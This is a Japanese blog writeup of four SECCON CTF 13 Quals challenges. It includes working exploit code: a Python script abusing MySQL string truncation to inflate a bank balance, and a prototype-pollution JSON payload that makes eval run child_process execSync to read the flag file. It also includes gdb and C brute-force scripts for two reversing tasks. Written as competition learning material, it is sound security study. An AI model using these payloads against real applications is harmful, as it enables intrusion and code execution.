st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 13 Quals writeup

11/23 - 11/24という日程で開催された。keymoonさんとd=(>o<)=bというチームで出て全体39位、国内11位。国内決勝と国際決勝にはそれぞれ参加資格のあるチームのうち上位8チームが出られる。チームieraeが国内決勝でなく国際決勝へ進むことを加味しても、2チームが辞退しなければ国内決勝には進めないということで、まず予選敗退だ。大変悔しいd=(ToT)=b

[Web 149] Tanuki UdonでまさかそんなことがあるはずがないとXSS解を見逃した、方針転換できなかったのも悔しければ、[Web 193] self-ssrfで色々ガチャガチャ試していたものの、機械的なブルートフォースを試さなかったために flag[=]= を見つけられなかったのも悔しい。

SECCON CTFに出るたびに悔しいと言っている気がする。ArkさんやSatoooonさんの問題と相性が悪いのかなあと言いたくなってしまうけれども、当然ながらこういう難しい変化球に対応できない自分が悪いわけで、精進だなあ。


競技時間中に解いた問題

[Web 108] Trillion Bank (84 solves)

Can you get over $1,000,000,000,000?

Challenge: (問題サーバのURL)
Note: The remote server restarts every 15 minutes. Please ensure your exploit works locally before attempting to attack the remote server.

添付ファイル: Trillion_Bank.tar.gz

問題の概要

与えられたURLにアクセスすると、まず名前を聞かれる。適当な名前で登録すると、次のような画面が表示された。インターネットバンキングのようなWebアプリらしい。自分の預金額をチェックしたり、ほかのユーザに送金したりできる。適当に入力してみるものの、自分自身を対象としたり、預金額を超えたり負数だったりの送金はできない。

問題文に書いてあるけれども、一応コードからもこの問題の目的を確認する。まず compose.yaml を見てみると、webdb という2つのサービスがあるとわかる。このうち、先ほど見ていたWebサーバであろう web というサービスに、環境変数からフラグが与えられている。なお、MySQLサーバの認証情報は固定だけれども、ポートが外部に開放されていないので残念ながらアクセスできない。

services:
  web:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - 3000:3000
    environment:
      MYSQL_HOST: db
      MYSQL_DATABASE: chall
      MYSQL_USER: user
      MYSQL_PASSWORD: pass
      FLAG: SECCON{dummy}
    depends_on:
      - db
  db:
    image: mysql:8.0.40
    restart: unless-stopped
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=chall
      - MYSQL_USER=user
      - MYSQL_PASSWORD=pass
    command:
      - --sql_mode=

webpackage.jsonDockerfile の記述からNode.js製のWebアプリだとわかる。フラグに関連する記述は次の通り。/api/me というのは現在ログインしているアカウントの預金額を確認できるAPIだけれども、ここでチェックした際に、預金額が1兆ドルを超えていればフラグがもらえるらしい。

// …
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;
// …
app.get("/api/me", { onRequest: auth }, async (req, res) => {
  try {
    const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
    req.user.balance = balance;
  } catch (err) {
    return res.status(500).send({ msg: err.message });
  }
  if (req.user.balance >= TRILLION) {
    req.user.flag = FLAG; // 💰
  }
  res.send(req.user);
});
// …

まずアカウントを大量に作成して、ひとつのアカウントに送金し続けることを考えてしまう。しかし、残念ながら今回新規登録者に与えられるのはたった10ドルで、1兆ドルを集めるにはとんでもない回数のリクエストを送らなければならない。これは現実的ではない。

では、この手のインターネットバンキングを模した問題でよくあるRace Conditionはどうだろうか。つまり、並行して複数の送金リクエストを送ることで、預金額が十分にあるかのチェックと、送金元および送金先の預金額の更新という2種類の操作の間に別の送金処理を走らせることで、データの不整合を起こさせる(TOCTOU)ことはできないだろうか。

残念ながら、こちらも対策されている。以下のコードは他ユーザへの送金を行うAPIである /api/transfer の一部だが、一連の送金処理をきちんとトランザクションとしていることがわかる。困るなあ。

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

ほか、自分自身への送金やマイナスの額の送金等のチェックはどうなっているか。クライアント側だけで完結していないか。これも残念ながら、次のようにしっかりと確認されている。

ちゃっかり送金先のユーザ名を示す recipientName も文字列化して変なオブジェクトが入ってこないようにしているし、送金額が負数でないかだけでなく、NaNInfinity 等でないことを isFinite で見ているし、登録時に発行されたJWTに入っているユーザID(連番の数字)と、送金先のユーザ名に対応するユーザIDとが同じでないか見ているし、なかなか堅固だ。

const auth = async (req, res) => {
  try {
    await req.jwtVerify();
  } catch {
    return res.status(401).send({ msg: "Unauthorized" });
  }
};
// …
app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
// …
  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

nameとid、それからMySQLのtruncation

さて、先ほどちらっと紹介したけれども、この問題ではユーザは idname という2つのユニークな文字列を持つ。name は登録時に自分で決めた文字列で、id はMySQLがどんどんインクリメントしていく数値のIDだ。

    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )

name にUNIQUE制約はないけれども、DB側でなくWeb側で、次のようにユーザが登録しようとしているユーザ名がすでに存在しているものでないかどうかを確認している。なるほどと思ってしまうけれども、ここでDB側にそのユーザ名が存在しているかどうか情報を取りに行っていないのが気になる。

DB側では(設定されている照合順序によって)同じ文字列として判断されるけれども、Web側では異なると判断されるというような挙動の不一致は存在しないだろうか。ただ、正規表現によるユーザ名のチェックのおかげで、(よくあるパターンとして)たとえば大文字やスペース、U+0131といった文字は使えない。

const names = new Set();
// …
app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);
// …

では、文字種以外ではどうだろうか。試しに大変長いユーザ名で登録して、docker exec でDBを見てみる。すると、明らかに65535文字以上の文字列であったところ、65535文字目までで切り取られている。65536文字目以降を別の文字列に変えた上でもう一度登録してみると、やはり65535文字目までで切り取られている。つまり、異なる id で同じ name のユーザができてしまった。

これはどのような問題を引き起こすだろうか。/api/transfer の処理を再度見てみる。もし送金元と送金先が同じ name だったらどうなるか。手順1と2では、idreq.user.id が参照されているので、本来の挙動の通り送金元の預金額が確認される。しかしながら、手順3では name が参照されているので、ログインしている送金元や指定した送金先は関係なく、同じprefixを持つユーザすべての預金額が変更されるということになる。

    // 手順1. 「送金元の」預金額の確認
    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    // 手順2. 「送金元の」預金額の変更
    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    // 手順3. 「送金先の」預金額の変更
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

解く

競技中はここで考えるのが面倒くさくなってしまった。送金元や送金先で色々なパターンを組み合わせて試していると、冗長に思えるけれども、とりあえず倍々に預金額を増やしていけるパターンを見つけた。これは次のような手順となる。同じprefixを持たないユーザ3を作っているのがキモで、こいつがユーザ1もしくはユーザ2に送金すると、ユーザ1と2の両方に同じ金額が振り込まれる。

  1. 65535文字のprefixをランダムに生成する
  2. (prefix) (ユーザ1), (prefix)a (ユーザ2), (適当なユーザ名) (ユーザ3) という3つのユーザを作成する
    • 預金額: $10, $10, $10
  3. ユーザ2 → ユーザ3に10ドルを送金
    • 預金額: $10, $0, $20
  4. ユーザ3 → ユーザ1に20ドルを送金
    • 預金額: $30, $20, $0
  5. ユーザ2 → ユーザ1に20ドルを送金
    • 預金額: $50, $20, $0
  6. 送金額を増やしつつ、手順3から5を繰り返す
import random
import string
import httpx

HOST = 'http://(省略)'

prefix = ''.join(random.choices(string.ascii_lowercase, k=65535))

with httpx.Client(base_url=HOST) as client1:
    with httpx.Client(base_url=HOST) as client2:
        with httpx.Client(base_url=HOST) as client3:
            u1 = prefix
            u2 = prefix + 'a'
            u3 = ''.join(random.choices(string.ascii_lowercase, k=32))

            client1.post('/api/register', json={'name': u1})
            client2.post('/api/register', json={'name': u2})
            client3.post('/api/register', json={'name': u3})

            amount = 10
            r = client2.post('/api/transfer', json={
                'amount': str(amount),
                'recipientName': u3
            })
            print(r.json())
            amount *= 2

            while amount < 1_000_000_000_000:
                r = client3.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u1
                })

                r = client2.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u1
                })

                amount *= 2
                r = client1.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u3
                })

            print(client1.get('/api/me').json())
            print(client2.get('/api/me').json())
            print(client3.get('/api/me').json())

実行するとフラグが得られた。

$ python3 s_.py
{'msg': 'Succeeded'}
{'id': 419, 'iat': 1732358738, 'balance': 10}
{'id': 427, 'iat': 1732358738, 'balance': 1374389534700, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
{'id': 434, 'iat': 1732358738, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}

[Jail 149] pp4 (41 solves)

Let's enjoy the polluted programming💥

(問題サーバへの接続情報)

添付ファイル: pp4.tar.gz

問題の概要

問題の目的から確認していく。Dockerfile は次の通り。最も重要なのは RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt で、ルートディレクトリに推測できない名前でフラグがファイルとして保存されていることがわかる。なんとかしてRCEに持ち込みたいところ。

FROM node:22.9.0-slim AS base
WORKDIR /app

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY --chmod=555 index.js run


FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10

メインの index.js は次の通り。まずJSONを受け取ってパース・複製し、次にテキストを受け取って eval している。非常に単純な処理で、特にユーザ入力を eval してくれているのがありがたいのだけれども、困ったことに4種類しか文字が使えない。IERAE CTF 2024のときにも書いたが、6種類はないと好きなコードを実行するのは難しい。clone は明らかにPrototype Pollutionできる仕組みになっているので、これと組み合わせてなんとかできないか。

#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());

解く

ECMAScriptの仕様やV8のコードを見つつ、以前SECCON CTFで出題されたように、仕様段階から入り込んでいるようなPrototype Pollutionのgadgetは存在していないだろうかとまず考えた。特に Set.prototype.size のチェックを突破したいわけで、Set 周りを見ていたところ、Get(set ,"add") というそれっぽいものを見つけた。しかしながら、今回の clone の構造を見るに Setprototype はそもそも汚せないし、汚したところで関数を代入できるわけではないのでただ例外が発生するだけだ。

> Set.prototype.add = 0; (new Set('hoge')).size
Uncaught TypeError: '0' returned for property 'add' of object '#<Set>' is not a function
    at new Set (<anonymous>)

しばらく考えて、Prototype Pollutionから文字種チェックを潰す問題ではないのだろうと考える。たとえば、constructor やJSコードといった文字列をあらかじめ Object.prototype に仕込んでおいて、その後の eval から(4種類の文字しか使えないという制約を守りつつ)参照できないか。

こうして考えているうちに、次のように空文字列をプロパティとして、Object.prototypeconstructor という文字列を仕込むことを考えた。[] は文字列化すると空文字列になるから、[][[]] では空文字列のプロパティへのアクセスが走る。当然ながら [] は空文字列のプロパティを持たないから、プロトタイプチェーンが走査され、最終的に Object.prototype[''] が参照される。これを利用して Function も作れる。

Object.prototype['']='constructor';
[][[]]; // 'constructor'
[][ [][[]] ][ [][[]] ];  // Function

空文字列以外に、[] だけで作れる文字列はないか。少し考えて、まず [].constructor 相当のコードで Array を取り出し、[][Array] 相当のコードで(ここで Array が文字列化された function Array() { [native code] } というようなプロパティへのアクセスが走るが、当然存在しない*1ので) undefined を作り出し、そして [][undefined] 相当のコードで undefined プロパティへのアクセスをさせるということを思いついた。

[].constructor.constructorFunction を作り出し、そして [][undefined] で本当に実行したいJSコードを取り出して Function に投げる。これで好きなコードの実行に繋げられる。ここまでの成果をまとめて、ペイロードを生成するPythonスクリプトを作成する。

import json
j = json.dumps({
    '__proto__': {
        '': 'constructor',
        'undefined': 'console.log(process.mainModule.require("child_process").execSync("cat /f*").toString())'
    }
})

c = '[][[]]'
u = '[][[][[][[]]]]'
print(j)
p = '[][constructor][constructor]([][undefined])()'.replace('constructor', c).replace('undefined', u)
print(p)

これを問題サーバに投げると、フラグが得られた。

$ nc (省略)
Input JSON: {"__proto__": {"": "constructor", "undefined": "console.log(process.mainModule.require(\"child_process\").execSync(\"cat /f*\").toString())"}}
{}
Input code: [][[][[]]][[][[]]]([][[][[][[][[]]]]])()
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

undefined
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

[Reversing 93] packed (119 solves)

Packer is one of the most common technique malwares are using.

添付ファイル: packed.tar.gz

a.out というamd64のELFが与えられている。静的リンクらしい。実行するとフラグを聞かれるし、適当な文字列を投げると違うと怒られる。

$ file a.out
a.out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
$ ./a.out
FLAG: d=(-o-)=b
Wrong.

バイナリエディタで開いてみると UPX! というバイト列が見える。UPXでパックされているらしい。

upx -d でアンパックしてみるが、出てきたバイナリは明らかにどんな文字列を投げても Wrong. と返ってくるようなものになっていた。どうやら upx -d でアンパックするとちゃんと動作しなくなってしまうという、厄介なバイナリらしい。

仕方がないのでアンパックせずにそのまま触ってみる。gdb で実行しつつ、フラグを聞かれたタイミングで止めてみる。すると、次のように read のシステムコール後、文字数をチェックしている様子が確認できた。先ほどアンパックしたバイナリにはなかった処理だ。どうやらフラグは49文字(おそらく改行文字が含まれていて、フラグ本体は48文字だろう)らしい。

   0x44ee19:    xor    edi,edi
   0x44ee1b:    xor    eax,eax
   0x44ee1d:    syscall
=> 0x44ee1f:    cmp    eax,0x31
   0x44ee22:    jne    0x44eec3
   0x44ee28:    mov    ecx,eax
   0x44ee2a:    pop    rdx
   0x44ee2b:    pop    rsi

とりあえず49文字の文字列を投げてみる。0x44ee72 という関数へ飛んだ。

   0x44ee35:    xor    BYTE PTR [rdi],al
   0x44ee37:    inc    rdi
   0x44ee3a:    loopne 0x44ee34
=> 0x44ee3c:    call   0x44ee72

この関数は、どうやら1文字ずつフラグをチェックしているらしい。cmp の直後にブレークポイントを置きつつ1文字ずつブルートフォースし、ZFが立っているかどうかで正誤判定をする。これで1文字ずつフラグが得られないか。

gdb-peda$ pdisas 0x44ee72
Dump of assembler code from 0x44ee72 to 0x44ee92::      Dump of assembler code from 0x44ee72 to 0x44ee92:
   0x000000000044ee72:  mov    ecx,0x31
   0x000000000044ee77:  pop    rsi
   0x000000000044ee78:  lea    rdi,[rsp-0x90]
   0x000000000044ee80:  xor    edx,edx
   0x000000000044ee82:  lods   al,BYTE PTR ds:[rsi]
   0x000000000044ee83:  cmp    BYTE PTR [rdi],al
   0x000000000044ee85:  setne  al
   0x000000000044ee88:  or     dl,al
   0x000000000044ee8a:  inc    rdi
   0x000000000044ee8d:  loopne 0x44ee82
   0x000000000044ee8f:  test   edx,edx
   0x000000000044ee91:  jne    0x44eec3
End of assembler dump.

次のようなgdbスクリプトを用意する。

# gdb -n -q -x s.py ./a.out | grep flag
import gdb
import string
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *0x44ee85', to_string=True) # after cmp

flag = ''
for _ in range(0x31):
    for c in string.printable.strip():
        with open('input', 'w') as f:
            f.write((flag + c).ljust(0x31, 'a'))
        gdb.execute('r < input', to_string=True)

        for _ in range(len(flag)):
            gdb.execute('c', to_string=True)

        x = gdb.execute('p $eflags', to_string=True)
        if 'ZF' in x:
            flag += c
            print(f'{flag=}')
            break
else:
    raise Exception('wtf')

実行するとフラグが得られた。へー。

$ gdb -n -q -x s.py ./a.out | grep flag
flag='S'
flag='SE'
flag='SEC'
...
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d'
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3'
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}'
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

[Reversing 118] Jump (69 solves)

Who would have predicted that ARM would become so popular?

※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is c69bc9382d04f8f3fbb92341143f2e3590a61a08 We're sorry for your patience and inconvenience

添付ファイル: Jump.tar.gz

jump という64ビットのARMのバイナリが与えられる。環境を用意するのが面倒なので、実行するのは最終手段としてまず静的解析でやっていく。

$ file jump
jump: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped

Ghidraに投げてデコンパイルする。ざっとバイナリの全体を眺めたところ、次のように(どこから呼び出されているかはよくわからないけれども)なんだかフラグを4文字ずつチェックしているっぽい関数がいくつも見つかる。SECC, h4k3, _1t_, ON{5, … 入れ替えると SECCON{5h4k3_1t_ だ。

void FUN_00400648(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x336b3468) != 0;
  return;
}
void FUN_004006ac(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x5f74315f) != 0;
  return;
}
void FUN_00400710(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x357b4e4f) != 0;
  return;
}

こういう単純な関数だけならよいのだけれども、次のように直前の4文字に依存しているような関数もある。幸いにも正解の4文字を当てるのにブルートフォースは必要のないチェック処理だから、前のブロックから4文字ずつ順番に特定していけばよい。

void FUN_00400774(long param_1)

{
  tabun_ok_flag =
       (tabun_ok_flag & 1 &
       *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x62629d6b) != 0
  ;
  return;
}

ただ、どの関数がどのブロックに対応しているかはよくわからない。わざわざ調べるのも面倒なので、次のようにブルートフォースしてしまおう。0x5f74315f の部分はわかっている直前のブロックの値を入れる。正負も関数によって変えなければならないことに注意。これをすべての関数に対して繰り返す。

#include <stdio.h>
int main(int argc, char **argv) {
    int x[] = { -0x62629d6b, -0x6b2c5e2c, 0x47cb363b, -0x626b6223 };
    int res[2] = { 0 };

    for (int i = 0; i < 4; i++) {
        res[0] = x[i] - 0x5f74315f;
        printf("%08x: ", res[0]);
        puts((char *) res);
    }
    return 0;
}

up_5, h-5h, -5h5, hk3} という4つの文字列が出てくる。これらをつなぎ合わせるとフラグだ。

SECCON{5h4k3_1t_up_5h-5h-5h5hk3}

*1:つまり、ここで止めて、Arrayを文字列化したプロパティにJSコードを仕込んでおけばよかったのだけれども、面倒くさかった